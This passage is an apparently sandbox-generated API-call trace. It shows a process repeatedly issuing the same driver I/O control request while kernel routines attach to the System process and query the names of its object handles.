PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.412] PsAcquireProcessExitSynchronization () returned 0x0 [0135.412] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.412] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80024f8050, HandleInformation=0x0) returned 0x0 [0135.412] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.412] PsReleaseProcessExitSynchronization () returned 0x2 [0135.412] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.412] ObQueryNameString (in: Object=0xfffffa80024f8050, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.412] ObfDereferenceObject (Object=0xfffffa80024f8050) returned 0x2 [0135.412] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.412] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.412] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.412] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.412] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.412] PsAcquireProcessExitSynchronization () returned 0x0 [0135.412] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.412] ObReferenceObjectByHandle (in: Handle=0xffffffff80000abc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800390ea90, HandleInformation=0x0) returned 0x0 [0135.412] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.412] PsReleaseProcessExitSynchronization () returned 0x2 [0135.412] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.412] ObQueryNameString (in: Object=0xfffffa800390ea90, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0135.412] ObfDereferenceObject (Object=0xfffffa800390ea90) returned 0x2 [0135.412] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.412] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.412] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.412] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.412] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.412] PsAcquireProcessExitSynchronization () returned 0x0 [0135.412] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.412] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ac0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80025ec750, HandleInformation=0x0) returned 0x0 [0135.412] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.412] PsReleaseProcessExitSynchronization () returned 0x2 [0135.413] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.413] ObQueryNameString (in: Object=0xfffffa80025ec750, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.413] ObfDereferenceObject (Object=0xfffffa80025ec750) returned 0x2 [0135.413] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.413] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.413] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.413] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.413] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.413] PsAcquireProcessExitSynchronization () returned 0x0 [0135.413] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.413] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ac4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002147b30, HandleInformation=0x0) returned 0x0 [0135.413] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.413] PsReleaseProcessExitSynchronization () returned 0x2 [0135.413] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.413] ObQueryNameString (in: Object=0xfffffa8002147b30, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.413] ObfDereferenceObject (Object=0xfffffa8002147b30) returned 0x2 [0135.413] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.413] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.413] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.413] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.413] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.413] PsAcquireProcessExitSynchronization () returned 0x0 [0135.413] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.413] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ad0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800214ac80, HandleInformation=0x0) returned 0x0 [0135.413] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.413] PsReleaseProcessExitSynchronization () returned 0x2 [0135.413] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.413] ObQueryNameString (in: Object=0xfffffa800214ac80, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.413] ObfDereferenceObject (Object=0xfffffa800214ac80) returned 0x2 [0135.413] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.413] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.413] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.413] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.413] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.413] PsAcquireProcessExitSynchronization () returned 0x0 [0135.414] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.414] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ad8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037f0b60, HandleInformation=0x0) returned 0x0 [0135.414] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.414] PsReleaseProcessExitSynchronization () returned 0x2 [0135.414] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.414] ObQueryNameString (in: Object=0xfffffa80037f0b60, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.414] ObfDereferenceObject (Object=0xfffffa80037f0b60) returned 0x2 [0135.414] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.414] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.414] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.414] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.414] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.414] PsAcquireProcessExitSynchronization () returned 0x0 [0135.414] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.414] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800fb0cf20, HandleInformation=0x0) returned 0x0 [0135.414] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.414] PsReleaseProcessExitSynchronization () returned 0x2 [0135.414] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.414] ObQueryNameString (in: Object=0xfffffa800fb0cf20, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.414] ObfDereferenceObject (Object=0xfffffa800fb0cf20) returned 0x2 [0135.414] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.414] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.414] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.414] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.414] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.414] PsAcquireProcessExitSynchronization () returned 0x0 [0135.414] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.414] ObReferenceObjectByHandle (in: Handle=0xffffffff80000af0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002584280, HandleInformation=0x0) returned 0x0 [0135.414] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.414] PsReleaseProcessExitSynchronization () returned 0x2 [0135.414] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.414] ObQueryNameString (in: Object=0xfffffa8002584280, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.414] ObfDereferenceObject (Object=0xfffffa8002584280) returned 0x2 [0135.414] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.415] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.415] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.415] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.415] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.415] PsAcquireProcessExitSynchronization () returned 0x0 [0135.415] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.415] ObReferenceObjectByHandle (in: Handle=0xffffffff80000af4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800231d680, HandleInformation=0x0) returned 0x0 [0135.415] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.415] PsReleaseProcessExitSynchronization () returned 0x2 [0135.415] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.415] ObQueryNameString (in: Object=0xfffffa800231d680, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.415] ObfDereferenceObject (Object=0xfffffa800231d680) returned 0x2 [0135.415] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.415] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.415] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.415] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.415] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.415] PsAcquireProcessExitSynchronization () returned 0x0 [0135.415] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.415] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b00, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8009f8af20, HandleInformation=0x0) returned 0x0 [0135.415] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.415] PsReleaseProcessExitSynchronization () returned 0x2 [0135.415] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.415] ObQueryNameString (in: Object=0xfffffa8009f8af20, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.415] ObfDereferenceObject (Object=0xfffffa8009f8af20) returned 0x2 [0135.415] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.415] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.415] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.415] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.415] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.415] PsAcquireProcessExitSynchronization () returned 0x0 [0135.415] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.415] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b04, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800213b980, HandleInformation=0x0) returned 0x0 [0135.416] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.416] PsReleaseProcessExitSynchronization () returned 0x2 [0135.416] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.416] ObQueryNameString (in: Object=0xfffffa800213b980, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.416] ObfDereferenceObject (Object=0xfffffa800213b980) returned 0x2 [0135.416] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.416] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.416] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.416] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.416] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.416] PsAcquireProcessExitSynchronization () returned 0x0 [0135.416] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.416] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037d1f20, HandleInformation=0x0) returned 0x0 [0135.416] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.416] PsReleaseProcessExitSynchronization () returned 0x2 [0135.416] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.416] ObQueryNameString (in: Object=0xfffffa80037d1f20, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.416] ObfDereferenceObject (Object=0xfffffa80037d1f20) returned 0x2 [0135.416] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.416] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.416] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.416] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.416] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.416] PsAcquireProcessExitSynchronization () returned 0x0 [0135.416] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.416] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021201f0, HandleInformation=0x0) returned 0x0 [0135.416] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.416] PsReleaseProcessExitSynchronization () returned 0x2 [0135.416] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.416] ObQueryNameString (in: Object=0xfffffa80021201f0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.416] ObfDereferenceObject (Object=0xfffffa80021201f0) returned 0x2 [0135.416] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.416] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.416] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.416] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.417] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.417] PsAcquireProcessExitSynchronization () returned 0x0 [0135.417] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.417] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003527a20, HandleInformation=0x0) returned 0x0 [0135.417] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.417] PsReleaseProcessExitSynchronization () returned 0x2 [0135.417] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.417] ObQueryNameString (in: Object=0xfffffa8003527a20, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.417] ObfDereferenceObject (Object=0xfffffa8003527a20) returned 0x2 [0135.417] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.417] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.417] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.417] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.417] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.417] PsAcquireProcessExitSynchronization () returned 0x0 [0135.417] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.417] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800213f980, HandleInformation=0x0) returned 0x0 [0135.417] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.417] PsReleaseProcessExitSynchronization () returned 0x2 [0135.417] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.417] ObQueryNameString (in: Object=0xfffffa800213f980, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.417] ObfDereferenceObject (Object=0xfffffa800213f980) returned 0x2 [0135.417] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.417] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.417] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.417] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.417] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.417] PsAcquireProcessExitSynchronization () returned 0x0 [0135.417] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.417] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002145ab0, HandleInformation=0x0) returned 0x0 [0135.417] KeUnstackDetachProcess 